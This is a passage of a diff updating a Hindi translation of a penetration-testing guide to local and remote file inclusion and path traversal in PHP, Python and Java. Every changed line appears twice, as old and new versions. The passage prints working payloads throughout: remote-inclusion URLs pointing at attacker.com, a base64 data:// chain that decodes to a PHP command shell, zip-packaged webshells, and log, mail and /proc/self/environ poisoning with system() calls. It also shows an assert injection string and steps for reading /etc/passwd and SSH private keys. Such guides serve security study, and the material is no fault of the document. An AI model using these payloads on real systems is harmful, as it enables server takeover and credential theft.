- **डॉट सेगमेंट और अतिरिक्त वर्णों का उपयोग करना**: ट्रैवर्सल अनुक्रम (`../`) को अतिरिक्त डॉट सेगमेंट और वर्णों के साथ मिलाकर फ़ाइल सिस्टम में नेविगेट करने के लिए उपयोग किया जा सकता है, प्रभावी रूप से सर्वर द्वारा जोड़े गए स्ट्रिंग्स की अनदेखी करते हुए।
- **आवश्यक ट्रैवर्सल की संख्या निर्धारित करना**: परीक्षण और त्रुटि के माध्यम से, कोई भी `../` अनुक्रमों की सटीक संख्या खोज सकता है जो रूट निर्देशिका में नेविगेट करने और फिर `/etc/passwd` तक पहुँचने के लिए आवश्यक है, यह सुनिश्चित करते हुए कि कोई भी जोड़ी गई स्ट्रिंग्स (जैसे `.php`) निष्क्रिय हो जाएं लेकिन इच्छित पथ (`/etc/passwd`) बरकरार रहे
- **आवश्यक ट्रैवर्सल की संख्या निर्धारित करना**: परीक्षण और त्रुटि के माध्यम से, कोई भी `../` अनुक्रमों की सटीक संख्या खोज सकता है जो रूट निर्देशिका में नेविगेट करने और फिर `/etc/passwd` तक पहुँचने के लिए आवश्यक है, यह सुनिश्चित करते हुए कि कोई भी जोड़ी गई स्ट्रिंग्स (जैसे `.php`) निष्क्रिय हो जाती हैं लेकिन इच्छित पथ (`/etc/passwd`) बरकरार रहता है
- **एक नकली निर्देशिका से शुरू करना**: पथ को एक गैर-मौजूद निर्देशिका (जैसे `a/`) से शुरू करना एक सामान्य प्रथा है। इस तकनीक का उपयोग एक एहतियाती उपाय के रूप में या सर्वर के पथ पार्सिंग लॉजिक की आवश्यकताओं को पूरा करने के लिए किया जाता है।
पथ ट्रंकटेशन तकनीकों का उपयोग करते समय, सर्वर के पथ पार्सिंग व्यवहार और फ़ाइल सिस्टम संरचना को समझना महत्वपूर्ण है। प्रत्येक परिदृश्य के लिए एक अलग दृष्टिकोण की आवश्यकता हो सकती है, और सबसे प्रभावी विधि खोजने के लिए परीक्षण अक्सर आवश्यक होता है।
@ -148,7 +148,7 @@ In php यह डिफ़ॉल्ट रूप से बंद है क्
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
यदि किसी कारणवश **`allow_url_include`** **On** है, लेकिन PHP बाहरी वेबपृष्ठों तक पहुँच को **filtering** कर रहा है, [इस पोस्ट के अनुसार](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), आप उदाहरण के लिए डेटा प्रोटोकॉल का उपयोग कर सकते हैं जिसमें base64 कोड को डिकोड करने के लिए b64 PHP कोड का उपयोग कर सकते हैं और RCE प्राप्त कर सकते हैं:
यदि किसी कारणवश **`allow_url_include`** **On** है, लेकिन PHP बाहरी वेबपृष्ठों तक पहुँच को **filtering** कर रहा है, [इस पोस्ट के अनुसार](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), आप उदाहरण के लिए डेटा प्रोटोकॉल का उपयोग कर सकते हैं जिसमें base64 कोड को डिकोड करने के लिए b64 PHP कोड का उपयोग किया जा सकता है और RCE प्राप्त किया जा सकता है:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
@ -166,18 +166,18 @@ In python in a code like this one:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
यदि उपयोगकर्ता **`file_name`** के लिए **पूर्ण पथ** प्रदान करता है, तो **पिछला पथ बस हटा दिया जाता है**:
यदि उपयोगकर्ता **`file_name`** के लिए **absolute path** पास करता है, तो **पिछला पथ बस हटा दिया जाता है**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
यह अपेक्षित व्यवहार है [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join) के अनुसार:
> यदि एक घटक एक पूर्ण पथ है, तो सभी पिछले घटक हटा दिए जाते हैं और पूर्ण पथ घटक से जोड़ना जारी रहता है।
> यदि एक घटक एक पूर्ण पथ है, तो सभी पिछले घटक हटा दिए जाते हैं और जोड़ना पूर्ण पथ घटक से जारी रहता है।
## Java सूची निर्देशिकाएँ
ऐसा लगता है कि यदि आपके पास Java में एक Path Traversal है और आप **एक निर्देशिका के लिए पूछते हैं** बजाय एक फ़ाइल के, तो **निर्देशिका की सूची लौटाई जाती है**। यह अन्य भाषाओं में नहीं होगा (मेरी जानकारी के अनुसार)।
ऐसा लगता है कि यदि आपके पास Java में एक Path Traversal है और आप **एक निर्देशिका के लिए पूछते हैं** बजाय एक फ़ाइल के, तो **निर्देशिका की एक सूची लौटाई जाती है**। यह अन्य भाषाओं में नहीं होगा (मेरी जानकारी के अनुसार)।
## शीर्ष 25 पैरामीटर
@ -219,17 +219,17 @@ PHP फ़िल्टर डेटा पर **संशोधन संचा
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: डेटा से टैग हटाएँ (सब कुछ "<" और ">" अक्षरों के बीच)
- `string.strip_tags`: डेटा से टैग हटाएँ (सब कुछ "<" और ">" वर्णों के बीच)
- ध्यान दें कि यह फ़िल्टर आधुनिक PHP संस्करणों से गायब हो गया है
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : एक अलग एन्कोडिंग में परिवर्तित करता है(`convert.iconv.<input_enc>.<output_enc>`)। सभी समर्थित **एन्कोडिंग की सूची** प्राप्त करने के लिए कंसोल में चलाएँ: `iconv -l`
- `convert.iconv.*` : एक अलग एन्कोडिंग में परिवर्तित करता है(`convert.iconv.<input_enc>.<output_enc>`)। **सभी समर्थित एन्कोडिंग की सूची** प्राप्त करने के लिए कंसोल में चलाएँ: `iconv -l`
> [!WARNING]
> `convert.iconv.*` रूपांतरण फ़िल्टर का दुरुपयोग करके आप **मनमाना पाठ** उत्पन्न कर सकते हैं, जो मनमाना पाठ लिखने या किसी फ़ंक्शन को शामिल करने की प्रक्रिया में मनमाना पाठ बनाने के लिए उपयोगी हो सकता है। अधिक जानकारी के लिए देखें [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
> `convert.iconv.*` रूपांतरण फ़िल्टर का दुरुपयोग करके आप **मनमाना पाठ उत्पन्न** कर सकते हैं, जो मनमाना पाठ लिखने या किसी फ़ंक्शन को शामिल करने की प्रक्रिया में मनमाना पाठ बनाने के लिए उपयोगी हो सकता है। अधिक जानकारी के लिए देखें [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: सामग्री को संकुचित करें (यदि बहुत सारी जानकारी निकालना हो तो उपयोगी)
@ -237,7 +237,7 @@ PHP फ़िल्टर डेटा पर **संशोधन संचा
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Deprecated
- `mdecrypt.*` : Deprecated
- अन्य फ़िल्टर
- Other Filters
- php में चलाकर `var_dump(stream_get_filters());` आप कुछ **अप्रत्याशित फ़िल्टर** पा सकते हैं:
- `consumed`
- `dechunk`: HTTP चंक्ड एन्कोडिंग को उलटता है
@ -277,15 +277,15 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
मूल पोस्ट में तकनीक का विस्तृत विवरण है, लेकिन यहाँ एक त्वरित सारांश है:
- **`UCS-4LE`** कोडेक का उपयोग करें ताकि टेक्स्ट का अग्रणी वर्ण शुरुआत में रहे और स्ट्रिंग का आकार तेजी से बढ़े।
- इसका उपयोग एक **इतना बड़ा टेक्स्ट उत्पन्न करने के लिए किया जाएगा जब प्रारंभिक अक्षर सही अनुमानित किया जाता है** कि php एक **त्रुटि** उत्पन्न करेगा।
- **dechunk** फ़िल्टर **पहले वर्ण को हटाएगा यदि यह हेक्साडेसिमल नहीं है**, इसलिए हम जान सकते हैं कि पहला वर्ण हेक्स है या नहीं।
- यह, पिछले वाले के साथ (और अनुमानित अक्षर के आधार पर अन्य फ़िल्टर), हमें टेक्स्ट की शुरुआत में एक अक्षर का अनुमान लगाने की अनुमति देगा यह देखकर कि जब हम पर्याप्त परिवर्तन करते हैं तो यह हेक्साडेसिमल वर्ण नहीं बनता। क्योंकि यदि हेक्स है, तो dechunk इसे नहीं हटाएगा और प्रारंभिक बम php त्रुटि उत्पन्न करेगा।
- कोडेक **convert.iconv.UNICODE.CP930** हर अक्षर को अगले में बदलता है (तो इस कोडेक के बाद: a -> b)। इससे हमें पता चलता है कि पहला अक्षर `a` है या नहीं, उदाहरण के लिए, क्योंकि यदि हम इस कोडेक क 6 बार लागू करते हैं a->b->c->d->e->f->g तो अक्षर अब हेक्साडेसिमल वर्ण नहीं है, इसलिए dechunk इसे नहीं हटाता और php त्रुटि उत्पन्न होती है क्योंकि यह प्रारंभिक बम के साथ गुणा करता है।
- प्रारंभ में **rot13** जैसे अन्य परिवर्तन का उपयोग करके अन्य वर्णों को लीक करना संभव है जैसे n, o, p, q, r (और अन्य कोडेक्स का उपयोग करके अन्य अक्षरों को हेक्स रेंज में ले जाया जा सकता है)।
- जब प्रारंभिक वर्ण एक संख्या होती है, तो इसे base64 एन्कोड करना आवश्यक है और संख्या को लीक करने के लिए पहले 2 अक्षरों को लीक करना आवश्यक है।
- अंतिम समस्या यह है कि **कैसे प्रारंभिक अक्षर से अधिक लीक किया जाए**। क्रम मेमोरी फ़िल्टर जैसे **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** का उपयोग करके वर्णों के क्रम को बदलना संभव है और टेक्स्ट के अन्य अक्षरों को पहले स्थान पर लाना संभव है।
- और **अधिक डेटा** प्राप्त करने के लिए विचार यह है कि **प्रारंभ में 2 बाइट्स का जंक डेटा उत्पन्न करें** **convert.iconv.UTF16.UTF16** के साथ, **UCS-4LE** लागू करें ताकि यह **अगले 2 बाइट्स के साथ पिवट हो**, और **जंक डेटा तक डेटा को हटा दें** (यह प्रारंभिक टेक्स्ट के पहले 2 बाइट्स को हटा देगा)। जब तक आप लीक करने के लिए इच्छित बिट तक नहीं पहुँचते तब तक ऐसा करते रहें।
- **`UCS-4LE`** कोडेक का उपयोग करें ताकि टेक्स्ट के अग्रणी वर्ण को शुरुआत में छोड़ दिया जाए और स्ट्रिंग का आकार तेजी से बढ़े।
- इसका उपयोग एक **इतना बड़ा टेक्स्ट उत्पन्न करने के लिए किया जाएगा जब प्रारंभिक अक्षर सही अनुमानित किया जा** कि php एक **त्रुटि** उत्पन्न करेगा।
- **dechunk** फ़िल्टर **पहले चर को हटाएगा यदि यह हेक्साडेसिमल नहीं है**, इसलिए हम जान सकते हैं कि पहला चर हेक्स है या नहीं।
- यह, पिछले वाले के साथ (और अनुमानित अक्षर के आधार पर अन्य फ़िल्टर), हमें टेक्स्ट की शुरुआत में एक अक्षर का अनुमान लगाने की अनुमति देगा जब हम पर्याप्त परिवर्तन करते हैं ताकि यह हेक्साडेसिमल वर्ण न हो। क्योंकि यदि हेक्स है, तो dechunk इसे नहीं हटाएगा और प्रारंभिक बम php त्रुटि उत्पन्न करेगा।
- **convert.iconv.UNICODE.CP930** कोडेक हर अक्षर को अगले में बदलता है (तो इस कोडेक के बाद: a -> b)। इससे हमें पता चलता है कि पहला अक्षर `a` है या नहीं, उदाहरण के लिए, क्योंकि यदि हम इस कोडेक क 6 बार लागू करते हैं a->b->c->d->e->f->g तो अक्षर अब हेक्साडेसिमल वर्ण नहीं है, इसलिए dechunk इसे नहीं हटाता और php त्रुटि उत्पन्न होती है क्योंकि यह प्रारंभिक बम के साथ गुणा करता है।
- प्रारंभ में **rot13** जैसे अन्य परिवर्तनों का उपयोग करके अन्य वर्णों को लीक करना संभव है जैसे n, o, p, q, r (और अन्य कोडेक्स का उपयोग करके अन्य अक्षरों को हेक्स रेंज में ले जाया जा सकता है)।
- जब प्रारंभिक चर एक संख्या होती है, तो इसे base64 एन्कोड करना आवश्यक है और संख्या को लीक करने के लिए पहले 2 अक्षरों को लीक करना आवश्यक है।
- अंतिम समस्या यह है कि **कैसे प्रारंभिक अक्षर से अधिक लीक किया जाए**। क्रम मेमोरी फ़िल्टर जैसे **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** का उपयोग करके अक्षरों के क्रम को बदलना और टेक्स्ट के अन्य अक्षरों को पहले स्थान पर लाना संभव है।
- और **अधिक डेटा** प्राप्त करने के लिए विचार यह है कि **प्रारंभ में 2 बाइट्स का जंक डेटा उत्पन्न करें** **convert.iconv.UTF16.UTF16** के साथ, इसे **UCS-4LE** लागू करें ताकि यह **अगले 2 बाइट्स के साथ पिवट हो**, और **जंक डेटा तक डेटा को हटा दें** (यह प्रारंभिक टेक्स्ट के पहले 2 बाइट्स को हटा देगा)। जब तक आप लीक करने के लिए इच्छित बिट तक नहीं पहुँचते, तब तक ऐसा करते रहें।
पोस्ट में इस प्रक्रिया को स्वचालित रूप से करने के लिए एक उपकरण भी लीक किया गया था: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
@ -301,7 +301,7 @@ $myfile = fopen("/etc/passwd", "r");
### zip:// और rar://
एक PHPShell के साथ एक Zip या Rar फ़ाइल अपलोड करें और इसे एक्सेस करें।\
rar प्रोटोकॉल का दुरुपयोग करने के लिए इसे **विशेष रूप से सक्रिय किया जाना चाहिए**।
rar प्रोटोकॉल का दुरुपयोग करने के लिए इसे **विशेष रूप से सक्रिय करना आवश्यक है**।
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
@ -356,11 +356,11 @@ $phar->stopBuffering();
```bash
php --define phar.readonly=0 create_path.php
```
`test.phar` नामक एक फ़ाइल निष्पादन के दौरान बनाई जाएगी, जिसे स्थानीय फ़ाइल समावेशन (LFI) कमजोरियों का शोषण करने के लिए उपयोग किया जा सकता है।
`test.phar` नामक एक फ़ाइल बनाई जाएगी, जिसे Local File Inclusion (LFI) कमजोरियों का शोषण करने के लिए उपयोग किया जा सकता है।
उन मामलों में जहां LFI केवल फ़ाइल पढ़ने का कार्य करता है बिना PHP कोड को निष्पादित किए, जैसे कि `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, या `filesize()` के माध्यम से, एक डीसिरियलाइजेशन कमजोरी का शोषण करने का प्रयास किया जा सकता है। यह कमजोरी `phar` प्रोटोकॉल का उपयोग करके फ़ाइलों को पढ़ने से संबंधित है।
उन मामलों में जहां LFI केवल फ़ाइल पढ़ने का कार्य करता है बिना PHP कोड को निष्पादित किए, जैसे कि `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, या `filesize()` के माध्यम से, एक deserialization कमजोरी का शोषण करने का प्रयास किया जा सकता है। यह कमजोरी `phar` प्रोटोकॉल का उपयोग करके फ़ाइलों को पढ़ने से संबंधित है।
`.phar` फ़ाइलों के संदर्भ में डीसिरियलाइजेशन कमजोरियों के शोषण को समझने के लिए, नीचे दिए गए दस्तावेज़ को देखें:
`.phar` फ़ाइलों के संदर्भ में deserialization कमजोरियों के शोषण को समझने के लिए, नीचे दिए गए लिंक किए गए दस्तावेज़ को देखें:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
@ -370,15 +370,15 @@ phar-deserialization.md
### CVE-2024-2961
**किसी भी मनमाने फ़ाइल को PHP से पढ़ने के लिए जो php फ़िल्टर का समर्थन करता है** का दुरुपयोग करके RCE प्राप्त करना संभव था। विस्तृत विवरण [**इस पोस्ट में पाया जा सकता है**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)****\
**किसी भी मनमाने फ़ाइल को PHP से पढ़ने के लिए जो php फ़िल्टर का समर्थन करता है** का दुरुपयोग करके RCE प्राप्त करना संभव था। विस्तृत विवरण [**इस पोस्ट में पाया जा सकता है**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
बहुत संक्षिप्त सारांश: PHP हीप में **3 बाइट ओवरफ्लो** का दुरुपयोग किया गया था ताकि **विशिष्ट आकार के मुक्त टुकड़ों की श्रृंखला को बदलने** के लिए, ताकि **किसी भी पते पर कुछ भी लिखा जा सके**, इसलिए **`system`** को कॉल करने के लिए एक हुक जोड़ा गया।\
विशिष्ट आकार के टुकड़ों को आवंटित करना संभव था, अधिक php फ़िल्टर का दुरुपयोग करके।
### अधिक प्रोटोकॉल
### More protocols
यहां अधिक संभावित [**प्रोटोकॉल की जांच करें**](https://www.php.net/manual/en/wrappers.php)**:**
यहाँ और संभावित [**प्रोटोकॉल की जाँच करें**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — मेमोरी में या अस्थायी फ़ाइल में लिखें (यह फ़ाइल समावेशन हमले में कैसे उपयोगी हो सकता है, यह निश्चित नहीं है)
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — मेमोरी या अस्थायी फ़ाइल में लिखें (यह फ़ाइल समावेशन हमले में कैसे उपयोगी हो सकता है, यह निश्चित नहीं है)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — स्थानीय फ़ाइल सिस्टम तक पहुँच
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL तक पहुँच
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL तक पहुँच
@ -387,15 +387,15 @@ phar-deserialization.md
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — सुरक्षित शेल 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — ऑडियो धाराएँ (मनमाने फ़ाइलों को पढ़ने के लिए उपयोगी नहीं)
## PHP के 'assert' के माध्यम से LFI
## LFI via PHP's 'assert'
PHP में स्थानीय फ़ाइल समावेशन (LFI) जोखिम 'assert' फ़ंक्शन के साथ काम करते समय विशेष रूप से उच्च होते हैं, जो स्ट्रिंग्स के भीतर कोड को निष्पादित कर सकता है। यह विशेष रूप से समस्याग्रस्त है यदि इनपुट में ".." जैसे निर्देशिका ट्रैवर्सल वर्णों की जांच की जा रही है लेकिन इसे ठीक से साफ नहीं किया गया है।
PHP में Local File Inclusion (LFI) जोखिम 'assert' फ़ंक्शन के साथ काफी उच्च होते हैं, जो स्ट्रिंग्स के भीतर कोड को निष्पादित कर सकता है। यह विशेष रूप से समस्याग्रस्त है यदि इनपुट में ".." जैसे निर्देशिका ट्रैवर्सल वर्णों की जांच की जा रही है लेकिन सही तरीके से साफ नहीं की गई है।
उदाहरण के लिए, PHP कोड को इस तरह से निर्देशिका ट्रैवर्सल को रोकने के लिए डिज़ाइन किया जा सकता है:
```bash
assert("strpos('$file', '..') === false") or die("");
```
जब इसका उद्देश्य traversal को रोकना है, यह अनजाने में कोड इंजेक्शन के लिए एक वेक्टर बनाता है। फ़ाइल की सामग्री पढ़ने के लिए इसका लाभ उठाने के लिए, एक हमलावर उपयोग कर सकता है:
जबकि इसका उद्देश्य traversal को रोकना है, यह अनजाने में कोड इंजेक्शन के लिए एक वेक्टर बनाता है। फ़ाइल की सामग्री पढ़ने के लिए इसका लाभ उठाने के लिए, एक हमलावर उपयोग कर सकता है:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
@ -414,9 +414,9 @@ assert("strpos('$file', '..') === false") or die("");
संक्षेप में, तकनीक **"UCS-4LE" एन्कोडिंग** का उपयोग कर रही है ताकि एक फ़ाइल की सामग्री इतनी **बड़ी** हो जाए कि फ़ाइल को खोलने वाला **PHP फ़ंक्शन** एक **त्रुटि** उत्पन्न करेगा।
फिर, पहले अक्षर को लीक करने के लिए फ़िल्टर **`dechunk`** का उपयोग किया जाता है साथ ही अन्य जैसे **base64** या **rot13** और अंततः फ़िल्टर **convert.iconv.UCS-4.UCS-4LE** और **convert.iconv.UTF16.UTF-16BE** का उपयोग **अन्य अक्षरों को शुरुआत में रखने और उन्हें लीक करने** के लिए किया जाता है।
फिर, पहले अक्षर को लीक करने के लिए फ़िल्टर **`dechunk`** का उपयोग किया जाता है अन्य फ़िल्टर जैसे **base64** या **rot13** के साथ और अंततः फ़िल्टर **convert.iconv.UCS-4.UCS-4LE** और **convert.iconv.UTF16.UTF-16BE** का उपयोग **अन्य अक्षरों को शुरुआत में रखने और उन्हें लीक करने** के लिए किया जाता है।
**संभावित रूप से कमजोर फ़ंक्शन**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (केवल लक्ष्य पढ़ने के लिए इस के साथ)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
**संभावित रूप से कमजोर फ़ंक्शन**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (केवल लक्षित पढ़ने के लिए इसके साथ)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
तकनीकी विवरण के लिए उल्लेखित पोस्ट की जांच करें!
@ -427,12 +427,12 @@ assert("strpos('$file', '..') === false") or die("");
जब सर्वर-साइड कोड जो फ़ाइलों को इनजेस्ट/अपलोड करता है, उपयोगकर्ता-नियंत्रित डेटा (जैसे, फ़ाइल का नाम या URL) का उपयोग करके गंतव्य पथ बनाता है बिना इसे कैनोनिकलाइज और मान्य किए, `..` खंड और पूर्ण पथ इच्छित निर्देशिका से बाहर निकल सकते हैं और मनमाना फ़ाइल लेखन कर सकते हैं। यदि आप पेलोड को एक वेब-प्रदर्शित निर्देशिका के तहत रख सकते हैं, तो आप आमतौर पर एक वेबशेल गिराकर बिना प्रमाणीकरण के RCE प्राप्त करते हैं।
विशिष्ट शोषण कार्यप्रवाह:
- एक एंडपॉइंट या बैकग्राउंड वर्कर में एक लेखन प्राइमिटिव की पहचान करें जो एक पथ/फ़ाइल नाम स्वीकार करता है और सामग्री को डिस्क पर लिखता है (जैसे, संदेश-प्रेरित इनजेशन, XML/JSON कमांड हैंडलर, ZIP एक्सट्रैक्टर्स, आदि)।
- एक एंडपॉइंट या बैकग्राउंड वर्कर में एक लेखन प्राइमिटिव की पहचान करें जो एक पथ/फ़ाइल नाम स्वीकार करता है और डिस्क पर सामग्री लिखता है (जैसे, संदेश-प्रेरित इनजेशन, XML/JSON कमांड हैंडलर, ZIP एक्सट्रैक्टर्स, आदि)।
- वेब-प्रदर्शित निर्देशिकाओं का निर्धारण करें। सामान्य उदाहरण:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/``shell.jsp` गिराएं
- IIS: `C:\inetpub\wwwroot\``shell.aspx` गिराएं
- एक ट्रैवर्सल पथ तैयार करें जो इच्छित संग्रह निर्देशिका से वेब रूट में बाहर निकलता है, और अपनी वेबशेल सामग्री शामिल करें।
- एक ट्रैवर्सल पथ तैयार करें जो इच्छित संग्रह निर्देशिका से वेब रूट में बाहर निकलता है, और अपनी वेबशेल सामग्री शामिल करें।
- गिराए गए पेलोड पर ब्राउज़ करें और कमांड निष्पादित करें।
नोट्स:
@ -464,9 +464,9 @@ in.transferTo(out);
</JMF>
```
इस वर्ग की बग्स को हराने के लिए हार्डनिंग:
- एक कैनोनिकल पथ पर हल करें और सुनिश्चित करें कि यह अनुमति-सूचीबद्ध बेस डायरेक्टरी का वंशज है।
- एक कैनोनिकल पथ को हल करें और सुनिश्चित करें कि यह अनुमति-सूचीबद्ध बेस डायरेक्टरी का वंशज है।
- किसी भी पथ को अस्वीकार करें जिसमें `..`, पूर्ण जड़ें, या ड्राइव अक्षर शामिल हैं; उत्पन्न फ़ाइल नामों को प्राथमिकता दें।
- लेखक को एक निम्न-विशिष्टता वाले खाते के रूप में चलाएँ और लिखने की निर्देशिकाओं को सेवा किए गए मूल से अलग करें।
- लेखक को एक निम्न-विशेषाधिकार खाता के रूप में चलाएँ और लिखने की निर्देशिकाओं को सेवा किए गए मूल से अलग करें।
## रिमोट फ़ाइल समावेश
@ -474,14 +474,14 @@ in.transferTo(out);
### Apache/Nginx लॉग फ़ाइल के माध्यम से
यदि Apache या Nginx सर्वर **LFI के लिए संवेदनशील** है शामिल फ़ंक्शन के अंदर, तो आप **`/var/log/apache2/access.log` या `/var/log/nginx/access.log`** तक पहुँचने की कोशिश कर सकते हैं, **यूजर एजेंट** के अंदर या एक **GET पैरामीटर** के अंदर एक php शेल जैसे **`<?php system($_GET['c']); ?>`** सेट करें और उस फ़ाइल को शामिल करें।
यदि Apache या Nginx सर्वर **LFI के लिए संवेदनशील** है शामिल फ़ंक्शन के अंदर, तो आप **`/var/log/apache2/access.log` या `/var/log/nginx/access.log`** तक पहुँचने की कोशिश कर सकते हैं, **यूजर एजेंट** के अंदर या **GET पैरामीटर** के अंदर एक php शेल जैसे **`<?php system($_GET['c']); ?>`** सेट करें और उस फ़ाइल को शामिल करें।
> [!WARNING]
> ध्यान दें कि **यदि आप शेल के लिए डबल कोट्स का उपयोग करते हैं** बजाय **साधारण कोट्स के**, तो डबल कोट्स को "_**quote;**_" स्ट्रिंग के लिए संशोधित किया जाएगा, **PHP वहाँ एक त्रुटि फेंकेगा** और **कुछ और निष्पादित नहीं होगा**
>
> इसके अलावा, सुनिश्चित करें कि आप **पेलोड को सही ढंग से लिखें** अन्यथा PHP हर बार त्रुटि देगा जब यह लॉग फ़ाइल को लोड करने की कोशिश करेगा और आपके पास दूसरा अवसर नहीं होगा।
> इसके अलावा, सुनिश्चित करें कि आप **पेलोड को सही तरीके से लिखें** अन्यथा PHP हर बार लॉग फ़ाइल को लोड करने की कोशिश करते समय त्रुटि देगा और आपके पास दूसरा अवसर नहीं होगा।
यह अन्य लॉग में भी किया जा सकता है लेकिन **सावधान रहें,** लॉग के अंदर कोड URL एन्कोडेड हो सकता है और यह शेल को नष्ट कर सकता है। हेडर **अधिकार "बेसिक"** में "यूजर:पासवर्ड" Base64 में होता है और इसे लॉग के अंदर डिकोड किया जाता है। PHPShell को इस हेडर के अंदर डाला जा सकता है।\
यह अन्य लॉग में भी किया जा सकता है लेकिन **सावधान रहें,** लॉग के अंदर कोड URL एन्कोडेड हो सकता है और इससे शेल नष्ट हो सकता है। हेडर **प्राधिकरण "बेसिक"** में "यूजर:पासवर्ड" Base64 में होता है और इसे लॉग के अंदर डिकोड किया जाता है। PHPShell को इस हेडर के अंदर डाला जा सकता है।\
अन्य संभावित लॉग पथ:
```python
/var/log/apache2/access.log
@ -498,7 +498,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
### ईमेल के माध्यम से
**एक मेल भेजें** एक आंतरिक खाते (user@localhost) पर जिसमें आपका PHP payload हो जैसे `<?php echo system($_REQUEST["cmd"]); ?>` और उपयोगकर्ता के मेल में शामिल करने की कोशिश करें एक पथ के साथ जैसे **`/var/mail/<USERNAME>`** या **`/var/spool/mail/<USERNAME>`**
**एक मेल भेजें** एक आंतरिक खाते (user@localhost) को जिसमें आपका PHP payload हो जैसे `<?php echo system($_REQUEST["cmd"]); ?>` और उपयोगकर्ता के मेल में शामिल करने की कोशिश करें एक पथ के साथ जैसे **`/var/mail/<USERNAME>`** या **`/var/spool/mail/<USERNAME>`**
### /proc/\*/fd/\* के माध्यम से
@ -507,7 +507,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
### /proc/self/environ के माध्यम से
एक लॉग फ़ाइल की तरह, payload को User-Agent में भेजें, यह /proc/self/environ फ़ाइल के अंदर परिलक्षित होगा
एक लॉग फ़ाइल की तरह, User-Agent में payload भेजें, यह /proc/self/environ फ़ाइल के अंदर परिलक्षित होगा
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
@ -522,13 +522,13 @@ http://example.com/index.php?page=path/to/uploaded/file.png
### ज़िप फ़ाइल अपलोड के माध्यम से
एक PHP शेल संकुचित करने वाली ZIP फ़ाइल अपलोड करें और एक्सेस करें:
एक PHP शेल संकुचित ZIP फ़ाइल अपलोड करें और एक्सेस करें:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### Via PHP sessions
जांचें कि क्या वेबसाइट PHP सत्र (PHPSESSID) का उपयोग करती है
जांचें कि क्या वेबसाइट PHP सत्र (PHPSESSID) का उपयोग करती है
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
@ -548,18 +548,18 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
```
### Via ssh
यदि ssh सक्रिय है तो जांचें कि कौन सा उपयोगकर्ता उपयोग किया जा रहा है (/proc/self/status & /etc/passwd) और **\<HOME>/.ssh/id_rsa** तक पहुँचने की कोशिश करें।
यदि ssh सक्रिय है तो यह जांचें कि कौन सा उपयोगकर्ता उपयोग किया जा रहा है (/proc/self/status & /etc/passwd) और **\<HOME>/.ssh/id_rsa** तक पहुँचने की कोशिश करें।
### **Via** **vsftpd** _**logs**_
FTP सर्वर vsftpd के लिए लॉग _**/var/log/vsftpd.log**_ पर स्थित हैं। उस परिदृश्य में जहाँ एक Local File Inclusion (LFI) भेद्यता मौजूद है, और एक उजागर vsftpd सर्वर तक पहुँच संभव है, निम्नलिखित कदम उठाए जा सकते हैं:
